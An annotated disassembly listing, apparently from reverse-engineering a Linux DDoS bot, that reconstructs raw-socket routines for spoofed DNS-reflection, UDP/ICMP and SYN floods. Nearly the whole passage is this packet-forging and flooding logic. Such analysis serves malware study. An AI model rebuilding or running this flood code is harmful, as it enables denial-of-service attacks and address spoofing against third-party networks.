		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

outer_loop:				; CODE XREF: sub_8049564+19Aj
					; sub_8049564+46Fj
		xor	esi, esi
		cmp	[ebp+use_dsthost], 0
		jz	short loc_80496FC
		cmp	[ebp+lookup_counter], 0
		jg	short loc_80496FC
		mov	ebx, [ebp+dsthost]
		push	ebx
		call	gethostbyname	; gethostbyname(dsthost)
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jnz	short loc_80496CC
		push	600
		call	sleep		; sleep(600)
		mov	esi, 1
		add	esp, 4
		jmp	short loc_80496FC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80496CC:				; CODE XREF: sub_8049564+151j
		push	4		; 4
		lea	eax, [ebp+ipaddr]
		push	eax		; &ipaddr
		mov	eax, [edx+10h]
		mov	eax, [eax]
		push	eax		; he->h_addr (he->h_addr_list[0])
		call	bcopy		; bcopy(he->h_addr, &ipaddr, 4)
		mov	eax, [ebp+ipaddr]
		mov	[edi+10h], eax	; iphdr->daddr = ipaddr
		mov	dword ptr [ebp+dstaddr+4], eax ; dstaddr.sin_addr.s_addr = ipaddr;
		mov	[ebp+lookup_counter], 40000
		add	esp, 0Ch

loc_80496FC:				; CODE XREF: sub_8049564+136j
					; sub_8049564+13Fj ...
		test	esi, esi
		jnz	short outer_loop
		xor	esi, esi
		mov	[ebp+offset], ebp

inner_loop:				; CODE XREF: sub_8049564+469j
		cmp	[ebp+use_dsthost], 0
		jnz	short loc_8049723
		lea	eax, [ebp+dstaddr_buf]
		push	eax
		call	inet_addr	; inet_addr(dstaddr_buf)
		mov	dword ptr [ebp+dstaddr+4], eax ; dstaddr.sin_addr.s_addr = inet_addr(dstaddr_buf)
		add	esp, 4

loc_8049723:				; CODE XREF: sub_8049564+1A8j
		mov	edx, [ebp+offset]
		add	edx, -218h
		mov	eax, [ebp+esi*4+lengths]
		push	eax		; lengths[0]
		push	edx		; payloads
		mov	ebx, [ebp+payload]
		push	ebx		; payload
		call	memcpy		; memcpy(payload, payloads, lengths[0])
		add	esp, 0Ch
		call	__random
		mov	ebx, 0FFh
		cdq
		idiv	ebx
		mov	ebx, [ebp+payload]
		mov	[ebx], dl	; payload[0] = random()	% 255
		call	__random
		mov	ebx, 0FFh
		cdq
		idiv	ebx
		mov	ebx, [ebp+payload]
		mov	[ebx+1], dl	; payload[1] = random()	% 255
		cmp	[ebp+srcport_hi], 0
		jnz	short loc_804978C
		cmp	[ebp+srcport_lo], 0
		jnz	short loc_804978C
		call	__random
		mov	ebx, 30000
		cdq
		idiv	ebx
		mov	eax, edx
		jmp	short loc_8049796
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804978C:				; CODE XREF: sub_8049564+20Fj
					; sub_8049564+215j
		mov	eax, [ebp+srcport_hi]
		shl	eax, 8
		add	ax, word ptr [ebp+srcport_lo]

loc_8049796:				; CODE XREF: sub_8049564+226j
		xchg	al, ah
		mov	ebx, [ebp+udphdr]
		mov	[ebx], ax
		mov	ebx, [ebp+udphdr]
		mov	word ptr [ebx+2], 3500h
		mov	ax, word ptr [ebp+esi*4+lengths]
		add	ax, 8
		xchg	al, ah
		mov	[ebx+4], ax
		mov	word ptr [ebx+6], 0
		cmp	byte ptr [ebp+save_srcaddr_a], 0
		jnz	short loc_804983C
		cmp	byte ptr [ebp+save_srcaddr_b], 0
		jnz	short loc_804983C
		cmp	byte ptr [ebp+save_srcaddr_c], 0
		jnz	short loc_804983C
		cmp	byte ptr [ebp+save_srcaddr_d], 0
		jnz	short loc_804983C
		call	__random
		mov	dl, al
		cmp	dl, 0FFh
		setnb	al
		add	dl, al
		mov	[ebp+buffer+0Ch], dl
		call	__random
		mov	dl, al
		cmp	dl, 0FFh
		setnb	al
		add	dl, al
		mov	[ebp+buffer+0Dh], dl
		call	__random
		mov	dl, al
		cmp	dl, 0FFh
		setnb	al
		add	dl, al
		mov	[ebp+buffer+0Eh], dl
		call	__random
		mov	dl, al
		cmp	dl, 0FFh
		setnb	al
		add	dl, al
		mov	[ebp+buffer+0Fh], dl
		jmp	short loc_804986C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804983C:				; CODE XREF: sub_8049564+265j
					; sub_8049564+26Ej ...
		mov	bl, byte ptr [ebp+save_srcaddr_a]
		mov	[ebp+buffer+0Ch], bl
		mov	bl, byte ptr [ebp+save_srcaddr_b]
		mov	[ebp+buffer+0Dh], bl
		mov	bl, byte ptr [ebp+save_srcaddr_c]
		mov	[ebp+buffer+0Eh], bl
		mov	bl, byte ptr [ebp+save_srcaddr_d]
		mov	[ebp+buffer+0Fh], bl

loc_804986C:				; CODE XREF: sub_8049564+2D6j
		cmp	[ebp+use_dsthost], 0
		jnz	short loc_80498A2
		mov	bl, byte ptr [ebp+save_dstaddr_a]
		mov	[ebp+buffer+10h], bl
		mov	bl, byte ptr [ebp+save_dstaddr_b]
		mov	[ebp+buffer+11h], bl
		mov	bl, byte ptr [ebp+save_dstaddr_c]
		mov	[ebp+buffer+12h], bl
		mov	bl, byte ptr [ebp+save_dstaddr_d]
		mov	[ebp+buffer+13h], bl

loc_80498A2:				; CODE XREF: sub_8049564+30Cj
		mov	byte ptr [edi],	45h
		call	__random
		mov	ebx, 130
		cdq
		idiv	ebx
		add	dl, 120
		mov	[edi+8], dl
		call	__random
		mov	ebx, 0FFh
		cdq
		idiv	ebx
		mov	[edi+4], dx
		mov	byte ptr [edi+9], 11h
		mov	word ptr [edi+6], 0
		mov	ax, word ptr [ebp+esi*4+lengths]
		add	ax, 1Ch
		xchg	al, ah
		mov	[edi+2], ax
		mov	word ptr [edi+0Ah], 0
		mov	edx, 14h	; x = sizeof(struct iphdr)
		lea	ebx, [ebp+buffer]
		mov	[ebp+var_68C], ebx
		xor	ecx, ecx
		mov	[ebp+checksum],	0

loc_8049904:				; CODE XREF: sub_8049564+3BAj
		mov	ebx, [ebp+var_68C]
		movzx	eax, word ptr [ebx]
		add	ecx, eax
		add	ebx, 2
		mov	[ebp+var_68C], ebx
		add	edx, -2
		cmp	edx, 1
		jg	short loc_8049904
		jnz	short loc_8049933
		mov	al, [ebx]
		mov	byte ptr [ebp+checksum], al
		movzx	eax, [ebp+checksum]
		add	ecx, eax

loc_8049933:				; CODE XREF: sub_8049564+3BCj
		mov	edx, ecx
		sar	edx, 10h
		movzx	eax, cx
		lea	ecx, [eax+edx]
		mov	eax, ecx
		sar	eax, 10h
		add	ecx, eax
		mov	eax, ecx
		not	ax
		mov	[ebp+checksum],	ax
		mov	[edi+0Ah], ax
		push	10h
		lea	eax, [ebp+dstaddr]
		push	eax
		push	0
		mov	eax, [ebp+esi*4+lengths]
		add	eax, 1Ch
		push	eax
		lea	eax, [ebp+buffer]
		push	eax
		mov	ebx, [ebp+sockfd]
		push	ebx
		call	sendto
		add	esp, 18h
		cmp	[ebp+lookup_step], 0
		jnz	short loc_8049990
		push	12Ch
		call	usleep
		jmp	short loc_80499AF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8049990:				; CODE XREF: sub_8049564+41Ej
		mov	ebx, [ebp+lookup_step]
		cmp	[ebp+lookup_stepper], ebx
		jnz	short loc_80499BC
		push	12Ch
		call	usleep
		mov	[ebp+lookup_stepper], 0

loc_80499AF:				; CODE XREF: sub_8049564+42Aj
		dec	[ebp+lookup_counter]
		add	esp, 4
		jmp	short loc_80499C2
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80499BC:				; CODE XREF: sub_8049564+435j
		inc	[ebp+lookup_stepper]

loc_80499C2:				; CODE XREF: sub_8049564+454j
		add	[ebp+offset], 50
		inc	esi
		cmp	esi, 8
		jle	inner_loop
		jmp	outer_loop
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

bail_out:				; CODE XREF: sub_8049564+103j
		mov	ds:child_pid, 0	; child_pid = 0
		xor	eax, eax	; return 0;
		lea	esp, [ebp+saved_regs] ;	cleanup	& restore the stack
		pop	ebx		;	  |
		pop	esi		;	  |
		pop	edi		;	  |
		mov	esp, ebp	;	  |
		pop	ebp		;	  v
		retn
sub_8049564	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80499F4	proc near		; CODE XREF: main+74Ep

saved_regs	= dword	ptr -0ACh
ptr_dstaddr	= dword	ptr -0A0h
pktlen		= dword	ptr -9Ch
sockfd		= dword	ptr -98h
save_srcaddr_c	= dword	ptr -94h
save_srcaddr_b	= dword	ptr -90h
save_srcaddr_a	= dword	ptr -8Ch
save_dstaddr_d	= dword	ptr -88h
save_dstaddr_c	= dword	ptr -84h
save_dstaddr_b	= dword	ptr -80h
save_dstaddr_a	= dword	ptr -7Ch
ipaddr		= dword	ptr -78h
checksum	= word ptr -72h
srcaddr_buf	= byte ptr -70h
dstaddr_buf	= byte ptr -50h
iphdr		= byte ptr -30h
udphdr		= word ptr -1Ch
var_14		= byte ptr -14h
dstaddr		= byte ptr -10h
do_udp		= dword	ptr  8
dstport		= word ptr  0Ch
dstaddr_a	= dword	ptr  10h
dstaddr_b	= dword	ptr  14h
dstaddr_c	= dword	ptr  18h
dstaddr_d	= dword	ptr  1Ch
srcaddr_a	= dword	ptr  20h
srcaddr_b	= dword	ptr  24h
srcaddr_c	= dword	ptr  28h
srcaddr_d	= dword	ptr  2Ch
use_dsthost	= dword	ptr  30h
dsthost		= dword	ptr  34h

		push	ebp		; initialize the stack & preserve registers
		mov	ebp, esp	;	  |
		sub	esp, 0A0h	;	  |
		push	edi		;	  |
		push	esi		;	  |
		push	ebx		;	  v
		mov	cl, byte ptr [ebp+dstaddr_a]
		mov	byte ptr [ebp+save_dstaddr_a], cl
		mov	cl, byte ptr [ebp+dstaddr_b]
		mov	byte ptr [ebp+save_dstaddr_b], cl
		mov	cl, byte ptr [ebp+dstaddr_c]
		mov	byte ptr [ebp+save_dstaddr_c], cl
		mov	cl, byte ptr [ebp+dstaddr_d]
		mov	byte ptr [ebp+save_dstaddr_d], cl
		mov	cl, byte ptr [ebp+srcaddr_a]
		mov	byte ptr [ebp+save_srcaddr_a], cl
		mov	cl, byte ptr [ebp+srcaddr_b]
		mov	byte ptr [ebp+save_srcaddr_b], cl
		mov	cl, byte ptr [ebp+srcaddr_c]
		mov	byte ptr [ebp+save_srcaddr_c], cl
		mov	bl, byte ptr [ebp+srcaddr_d]
		mov	word ptr [ebp+dstaddr],	2
		call	__random
		mov	ecx, 0FFh
		cdq
		idiv	ecx
		mov	eax, edx
		xchg	al, ah
		mov	word ptr [ebp+dstaddr+2], ax
		movzx	eax, bl
		push	eax
		movzx	eax, byte ptr [ebp+save_srcaddr_c]
		push	eax
		movzx	eax, byte ptr [ebp+save_srcaddr_b]
		push	eax
		movzx	eax, byte ptr [ebp+save_srcaddr_a]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		lea	esi, [ebp+srcaddr_buf]
		push	esi
		call	sprintf
		add	esp, 18h
		cmp	[ebp+use_dsthost], 0
		jnz	short loc_8049ABE
		movzx	eax, byte ptr [ebp+save_dstaddr_d]
		push	eax
		movzx	eax, byte ptr [ebp+save_dstaddr_c]
		push	eax
		movzx	eax, byte ptr [ebp+save_dstaddr_b]
		push	eax
		movzx	eax, byte ptr [ebp+save_dstaddr_a]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		lea	ebx, [ebp+dstaddr_buf]
		push	ebx
		call	sprintf
		push	ebx
		call	inet_addr
		mov	dword ptr [ebp+dstaddr+4], eax
		add	esp, 1Ch

loc_8049ABE:				; CODE XREF: sub_80499F4+94j
		push	0FFh		; *reserved*
		push	3		; SOCK_RAW
		push	2		; PF_INET
		call	socket		; socket(PF_INET, SOCK_RAW, 0xFF)
		mov	[ebp+sockfd], eax
		add	esp, 0Ch
		test	eax, eax
		jle	bail_out
		mov	[ebp+iphdr], 45h
		mov	word ptr [ebp+iphdr+2],	1C28h
		mov	word ptr [ebp+iphdr+4],	5504h
		call	__random
		mov	ecx, 130
		cdq
		idiv	ecx
		add	dl, 120
		mov	[ebp+iphdr+8], dl
		push	esi
		call	inet_addr
		mov	dword ptr [ebp+iphdr+0Ch], eax
		add	esp, 4
		cmp	[ebp+use_dsthost], 0
		jnz	short loc_8049B21
		lea	eax, [ebp+dstaddr_buf]
		push	eax
		call	inet_addr
		mov	dword ptr [ebp+iphdr+10h], eax
		add	esp, 4

loc_8049B21:				; CODE XREF: sub_80499F4+11Cj
		mov	word ptr [ebp+iphdr+6],	0FE1Fh
		mov	word ptr [ebp+iphdr+0Ah], 0
		cmp	[ebp+do_udp], 0
		jz	short loc_8049BB0
		mov	[ebp+iphdr+9], 11h
		call	__random
		mov	ecx, 0FFh
		cdq
		idiv	ecx
		mov	eax, edx
		xchg	al, ah
		mov	[ebp+udphdr], ax
		mov	ax, [ebp+dstport]
		xchg	al, ah
		mov	[ebp+udphdr+2],	ax
		mov	[ebp+udphdr+4],	900h
		mov	edx, 9
		lea	esi, [ebp+udphdr]
		xor	ebx, ebx
		mov	[ebp+checksum],	0

loc_8049B6C:				; CODE XREF: sub_80499F4+186j
		movzx	eax, word ptr [esi]
		add	ebx, eax
		add	esi, 2
		add	edx, -2
		cmp	edx, 1
		jg	short loc_8049B6C
		jnz	short loc_8049B89
		mov	al, [esi]
		mov	byte ptr [ebp+checksum], al
		movzx	eax, [ebp+checksum]
		add	ebx, eax

loc_8049B89:				; CODE XREF: sub_80499F4+188j
		mov	edx, ebx
		sar	edx, 10h
		movzx	eax, bx
		lea	ebx, [eax+edx]
		mov	eax, ebx
		sar	eax, 10h
		add	ebx, eax
		mov	eax, ebx
		not	ax
		mov	[ebp+checksum],	ax
		mov	[ebp+udphdr+6],	ax
		mov	[ebp+var_14], 61h
		jmp	short loc_8049C10
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8049BB0:				; CODE XREF: sub_80499F4+13Dj
		mov	[ebp+iphdr+9], 1
		mov	byte ptr [ebp+udphdr], 8
		mov	byte ptr [ebp+udphdr+1], 0
		mov	[ebp+udphdr+2],	0
		mov	edx, 9
		lea	esi, [ebp+udphdr]
		xor	ebx, ebx
		mov	[ebp+checksum],	0
		lea	esi, [esi]

loc_8049BD4:				; CODE XREF: sub_80499F4+1EEj
		movzx	eax, word ptr [esi]
		add	ebx, eax
		add	esi, 2
		add	edx, 0FFFFFFFEh
		cmp	edx, 1
		jg	short loc_8049BD4
		jnz	short loc_8049BF1
		mov	al, [esi]
		mov	byte ptr [ebp+checksum], al
		movzx	eax, [ebp+checksum]
		add	ebx, eax

loc_8049BF1:				; CODE XREF: sub_80499F4+1F0j
		mov	edx, ebx
		sar	edx, 10h
		movzx	eax, bx
		lea	ebx, [eax+edx]
		mov	eax, ebx
		sar	eax, 10h
		add	ebx, eax
		mov	eax, ebx
		not	ax
		mov	[ebp+checksum],	ax
		mov	[ebp+udphdr+2],	ax

loc_8049C10:				; CODE XREF: sub_80499F4+1B8j
		mov	[ebp+pktlen], 1Dh
		mov	edx, 14h
		lea	esi, [ebp+iphdr]
		xor	ebx, ebx
		mov	[ebp+checksum],	0
		lea	esi, [esi]

loc_8049C2C:				; CODE XREF: sub_80499F4+246j
		movzx	eax, word ptr [esi]
		add	ebx, eax
		add	esi, 2
		add	edx, 0FFFFFFFEh
		cmp	edx, 1
		jg	short loc_8049C2C
		jnz	short loc_8049C49
		mov	al, [esi]
		mov	byte ptr [ebp+checksum], al
		movzx	eax, [ebp+checksum]
		add	ebx, eax

loc_8049C49:				; CODE XREF: sub_80499F4+248j
		mov	edx, ebx
		sar	edx, 10h
		movzx	eax, bx
		lea	ebx, [eax+edx]
		mov	eax, ebx
		sar	eax, 10h
		add	ebx, eax
		mov	eax, ebx
		not	ax
		mov	[ebp+checksum],	ax
		mov	word ptr [ebp+iphdr+0Ah], ax
		xor	ebx, ebx
		lea	ecx, [ebp+dstaddr]
		mov	[ebp+ptr_dstaddr], ecx
		lea	edi, [ebp+iphdr]
		lea	esi, [esi]

loc_8049C78:				; CODE XREF: sub_80499F4+32Aj
		xor	esi, esi
		cmp	[ebp+use_dsthost], 0
		jz	short loc_8049CCE
		test	ebx, ebx
		jg	short loc_8049CCE
		mov	ecx, [ebp+dsthost]
		push	ecx
		call	gethostbyname
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jnz	short loc_8049CAC
		push	600
		call	sleep
		mov	esi, 1
		add	esp, 4
		jmp	short loc_8049CCE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8049CAC:				; CODE XREF: sub_80499F4+2A0j
		push	4
		lea	eax, [ebp+ipaddr]
		push	eax
		mov	eax, [edx+10h]
		mov	eax, [eax]
		push	eax
		call	bcopy
		mov	eax, [ebp+ipaddr]
		mov	dword ptr [ebp+iphdr+10h], eax
		mov	dword ptr [ebp+dstaddr+4], eax
		mov	ebx, 40000
		add	esp, 0Ch

loc_8049CCE:				; CODE XREF: sub_80499F4+28Aj
					; sub_80499F4+28Ej ...
		test	esi, esi
		jnz	short loc_8049D1D
		push	10h
		mov	ecx, [ebp+ptr_dstaddr]
		push	ecx
		push	0
		mov	ecx, [ebp+pktlen]
		push	ecx
		push	edi
		mov	ecx, [ebp+sockfd]
		push	ecx
		call	sendto
		push	10h
		mov	ecx, [ebp+ptr_dstaddr]
		push	ecx
		push	0
		mov	ecx, [ebp+pktlen]
		push	ecx
		push	edi
		mov	ecx, [ebp+sockfd]
		push	ecx
		call	sendto
		add	esp, 30h
		push	20
		call	usleep
		add	esp, 4

loc_8049D1D:				; CODE XREF: sub_80499F4+2DCj
		dec	ebx
		jmp	loc_8049C78
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

bail_out:				; CODE XREF: sub_80499F4+E3j
		mov	ds:child_pid, 0	; child_pid = 0;
		xor	eax, eax	; return 0;
		lea	esp, [ebp+saved_regs] ;	cleanup	& restore the stack
		pop	ebx		;	  |
		pop	esi		;	  |
		pop	edi		;	  |
		mov	esp, ebp	;	  |
		pop	ebp		;	  v
		retn
sub_80499F4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8049D40	proc near		; CODE XREF: main+BC4p	main+C9Ep

saved_regs	= dword	ptr -0D8h
internal1	= dword	ptr -0CCh
save_dd		= dword	ptr -0C8h
internal2	= dword	ptr -0C4h
sockfd		= dword	ptr -0C0h
save_sd		= dword	ptr -0BCh
save_sc		= dword	ptr -0B8h
save_sb		= dword	ptr -0B4h
save_sa		= dword	ptr -0B0h
save_dc		= dword	ptr -0ACh
save_db		= dword	ptr -0A8h
save_da		= dword	ptr -0A4h
checksum	= word ptr -9Eh
ipaddr		= dword	ptr -9Ch
srcaddr_buf	= byte ptr -98h
dstaddr_buf	= byte ptr -78h
var_58		= byte ptr -58h
iphdr		= byte ptr -38h
tcphdr		= byte ptr -24h
dstaddr		= byte ptr -10h
dstaddr_a	= dword	ptr  8
dstaddr_b	= dword	ptr  0Ch
dstaddr_c	= dword	ptr  10h
dstaddr_d	= dword	ptr  14h
dstport_hi	= dword	ptr  18h
dstport_lo	= dword	ptr  1Ch
use_srcaddr	= dword	ptr  20h
srcaddr_a	= dword	ptr  24h
srcaddr_b	= dword	ptr  28h
srcaddr_c	= dword	ptr  2Ch
srcaddr_d	= dword	ptr  30h
lookup_step	= dword	ptr  34h
use_dsthost	= dword	ptr  38h
dsthost		= dword	ptr  3Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		push	edi
		push	esi
		push	ebx
		mov	bl, byte ptr [ebp+dstaddr_a]
		mov	byte ptr [ebp+save_da],	bl
		mov	bl, byte ptr [ebp+dstaddr_b]
		mov	byte ptr [ebp+save_db],	bl
		mov	bl, byte ptr [ebp+dstaddr_c]
		mov	byte ptr [ebp+save_dc],	bl
		mov	bl, byte ptr [ebp+dstaddr_d]
		mov	byte ptr [ebp+save_dd],	bl
		mov	bl, byte ptr [ebp+srcaddr_a]
		mov	byte ptr [ebp+save_sa],	bl
		mov	bl, byte ptr [ebp+srcaddr_b]
		mov	byte ptr [ebp+save_sb],	bl
		mov	bl, byte ptr [ebp+srcaddr_c]
		mov	byte ptr [ebp+save_sc],	bl
		mov	bl, byte ptr [ebp+srcaddr_d]
		mov	byte ptr [ebp+save_sd],	bl
		cmp	[ebp+lookup_step], 0
		jz	short loc_8049D9D
		dec	[ebp+lookup_step]

loc_8049D9D:				; CODE XREF: sub_8049D40+58j
		push	0
		call	time
		add	esp, 4
		push	eax
		call	__srandom
		add	esp, 4
		mov	word ptr [ebp+dstaddr],	2
		call	__random
		mov	ebx, 0FFh
		cdq
		idiv	ebx
		mov	eax, edx
		xchg	al, ah
		mov	word ptr [ebp+dstaddr+2], ax
		cmp	[ebp+use_dsthost], 0
		jnz	short loc_8049E0B
		movzx	eax, byte ptr [ebp+save_dd]
		push	eax
		movzx	eax, byte ptr [ebp+save_dc]
		push	eax
		movzx	eax, byte ptr [ebp+save_db]
		push	eax
		movzx	eax, byte ptr [ebp+save_da]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		lea	ebx, [ebp+dstaddr_buf]
		push	ebx
		call	sprintf
		push	ebx
		call	inet_addr
		mov	dword ptr [ebp+dstaddr+4], eax
		add	esp, 1Ch

loc_8049E0B:				; CODE XREF: sub_8049D40+8Fj
		mov	[ebp+iphdr], 45h
		mov	word ptr [ebp+iphdr+2],	2800h
		mov	[ebp+iphdr+1], 0
		push	0FFh
		push	3
		push	2
		call	socket
		mov	[ebp+sockfd], eax
		add	esp, 0Ch
		test	eax, eax
		jle	loc_804A178
		cmp	[ebp+use_srcaddr], 0
		jz	short loc_8049E72
		movzx	eax, byte ptr [ebp+save_sd]
		push	eax
		movzx	eax, byte ptr [ebp+save_sc]
		push	eax
		movzx	eax, byte ptr [ebp+save_sb]
		push	eax
		movzx	eax, byte ptr [ebp+save_sa]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		lea	eax, [ebp+srcaddr_buf]
		push	eax
		call	sprintf
		add	esp, 18h

loc_8049E72:				; CODE XREF: sub_8049D40+FCj
		cmp	[ebp+use_dsthost], 0
		jnz	short loc_8049E87
		lea	eax, [ebp+dstaddr_buf]
		push	eax
		call	inet_addr
		mov	dword ptr [ebp+iphdr+10h], eax
		add	esp, 4

loc_8049E87:				; CODE XREF: sub_8049D40+136j
		mov	word ptr [ebp+iphdr+6],	0
		mov	[ebp+iphdr+9], 6
		mov	al, [ebp+tcphdr+0Dh]
		and	al, 0EFh
		mov	[ebp+tcphdr+0Dh], al
		mov	al, [ebp+tcphdr+0Ch]
		and	al, 0Fh
		or	al, 50h
		mov	[ebp+tcphdr+0Ch], al
		mov	dword ptr [ebp+tcphdr+8], 0
		and	al, 50h
		mov	[ebp+tcphdr+0Ch], al
		mov	[ebp+tcphdr+0Dh], 2
		mov	word ptr [ebp+tcphdr+12h], 0
		mov	eax, [ebp+dstport_hi]
		shl	eax, 8
		add	ax, word ptr [ebp+dstport_lo]
		xchg	al, ah
		mov	word ptr [ebp+tcphdr+2], ax
		xor	edi, edi
		mov	[ebp+var_58+8],	0
		cmp	[ebp+use_dsthost], 0
		jnz	short loc_8049EDB
		mov	eax, dword ptr [ebp+iphdr+10h]
		mov	dword ptr [ebp+var_58+4], eax

loc_8049EDB:				; CODE XREF: sub_8049D40+193j
		mov	[ebp+var_58+9],	6
		mov	word ptr [ebp+var_58+0Ah], 1400h
		xor	esi, esi
		lea	ebx, [ebp+var_58]
		mov	[ebp+internal2], ebx

loc_8049EF0:				; CODE XREF: sub_8049D40+222j
					; sub_8049D40+429j ...
		mov	[ebp+internal1], 0
		cmp	[ebp+use_dsthost], 0
		jz	short loc_8049F5B
		test	esi, esi
		jg	short loc_8049F5B
		mov	ebx, [ebp+dsthost]
		push	ebx
		call	gethostbyname
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jnz	short loc_8049F30
		push	258h
		call	sleep
		mov	[ebp+internal1], 1
		add	esp, 4
		jmp	short loc_8049F5B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8049F30:				; CODE XREF: sub_8049D40+1D4j
		push	4
		lea	eax, [ebp+ipaddr]
		push	eax
		mov	eax, [edx+10h]
		mov	eax, [eax]
		push	eax
		call	bcopy
		mov	eax, [ebp+ipaddr]
		mov	dword ptr [ebp+iphdr+10h], eax
		mov	dword ptr [ebp+dstaddr+4], eax
		mov	dword ptr [ebp+var_58+4], eax
		mov	esi, 40000
		add	esp, 0Ch

loc_8049F5B:				; CODE XREF: sub_8049D40+1BEj
					; sub_8049D40+1C2j ...
		cmp	[ebp+internal1], 0
		jnz	short loc_8049EF0
		call	random
		mov	ebx, 3089
		cdq
		idiv	ebx
		mov	eax, edx
		add	ah, 2
		xchg	al, ah
		mov	word ptr [ebp+iphdr+4],	ax
		call	random
		mov	ebx, 1401
		cdq
		idiv	ebx
		mov	eax, edx
		add	ax, 200
		xchg	al, ah
		mov	word ptr [ebp+tcphdr+0Eh], ax
		call	random
		mov	ebx, 40000
		cdq
		idiv	ebx
		mov	eax, edx
		inc	ax
		xchg	al, ah
		mov	word ptr [ebp+tcphdr], ax
		call	random
		mov	ebx, 40000000
		cdq
		idiv	ebx
		lea	eax, [edx+1]
		xchg	al, ah
		ror	eax, 10h
		xchg	al, ah
		mov	dword ptr [ebp+tcphdr+4], eax
		call	random
		mov	ebx, 116
		cdq
		idiv	ebx
		add	dl, 125
		mov	[ebp+iphdr+8], dl
		cmp	[ebp+use_srcaddr], 0
		jnz	short loc_804A01C
		call	__random
		mov	ebx, 0FFh
		cdq
		idiv	ebx
		push	edx
		call	__random
		cdq
		idiv	ebx
		push	edx
		call	__random
		cdq
		idiv	ebx
		push	edx
		call	__random
		cdq
		idiv	ebx
		push	edx
		push	offset aU_U_U_U	; "%u.%u.%u.%u"
		lea	eax, [ebp+srcaddr_buf]
		push	eax
		call	sprintf
		add	esp, 18h

loc_804A01C:				; CODE XREF: sub_8049D40+29Dj
		lea	eax, [ebp+srcaddr_buf]
		push	eax
		call	inet_addr
		mov	dword ptr [ebp+iphdr+0Ch], eax
		mov	dword ptr [ebp+var_58],	eax
		mov	word ptr [ebp+tcphdr+10h], 0
		mov	word ptr [ebp+iphdr+0Ah], 0
		push	14h
		lea	eax, [ebp+var_58+0Ch]
		push	eax
		lea	eax, [ebp+tcphdr]
		push	eax
		call	bcopy
		add	esp, 10h
		mov	edx, 20h
		mov	ebx, [ebp+internal2]
		mov	[ebp+internal1], ebx
		xor	ecx, ecx
		mov	[ebp+checksum],	0

loc_804A068:				; CODE XREF: sub_8049D40+342j
		mov	ebx, [ebp+internal1]
		movzx	eax, word ptr [ebx]
		add	ecx, eax
		add	ebx, 2
		mov	[ebp+internal1], ebx
		add	edx, 0FFFFFFFEh
		cmp	edx, 1
		jg	short loc_804A068
		jnz	short loc_804A097
		mov	al, [ebx]
		mov	byte ptr [ebp+checksum], al
		movzx	eax, [ebp+checksum]
		add	ecx, eax

loc_804A097:				; CODE XREF: sub_8049D40+344j
		mov	edx, ecx
		sar	edx, 10h
		movzx	eax, cx
		lea	ecx, [eax+edx]
		mov	eax, ecx
		sar	eax, 10h
		add	ecx, eax
		mov	eax, ecx
		not	ax
		mov	[ebp+checksum],	ax
		mov	word ptr [ebp+tcphdr+10h], ax
		mov	edx, 14h
		lea	ebx, [ebp+iphdr]
		mov	[ebp+internal1], ebx
		xor	ecx, ecx
		mov	[ebp+checksum],	0
		lea	esi, [esi]

loc_804A0D4:				; CODE XREF: sub_8049D40+3AEj
		mov	ebx, [ebp+internal1]
		movzx	eax, word ptr [ebx]
		add	ecx, eax
		add	ebx, 2
		mov	[ebp+internal1], ebx
		add	edx, 0FFFFFFFEh
		cmp	edx, 1
		jg	short loc_804A0D4
		jnz	short loc_804A103
		mov	al, [ebx]
		mov	byte ptr [ebp+checksum], al
		movzx	eax, [ebp+checksum]
		add	ecx, eax

loc_804A103:				; CODE XREF: sub_8049D40+3B0j
		mov	edx, ecx
		sar	edx, 10h
		movzx	eax, cx
		lea	ecx, [eax+edx]
		mov	eax, ecx
		sar	eax, 10h
		add	ecx, eax
		mov	eax, ecx
		not	ax
		mov	[ebp+checksum],	ax
		mov	word ptr [ebp+iphdr+0Ah], ax
		push	16
		lea	eax, [ebp+dstaddr]
		push	eax
		push	0
		push	40
		lea	eax, [ebp+iphdr]
		push	eax
		mov	ebx, [ebp+sockfd]
		push	ebx
		call	sendto
		add	esp, 18h
		cmp	[ebp+lookup_step], 0
		jnz	short loc_804A154
		push	12Ch
		call	usleep
		jmp	short loc_804A165
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804A154:				; CODE XREF: sub_8049D40+406j
		cmp	[ebp+lookup_step], edi
		jnz	short loc_804A170
		push	12Ch
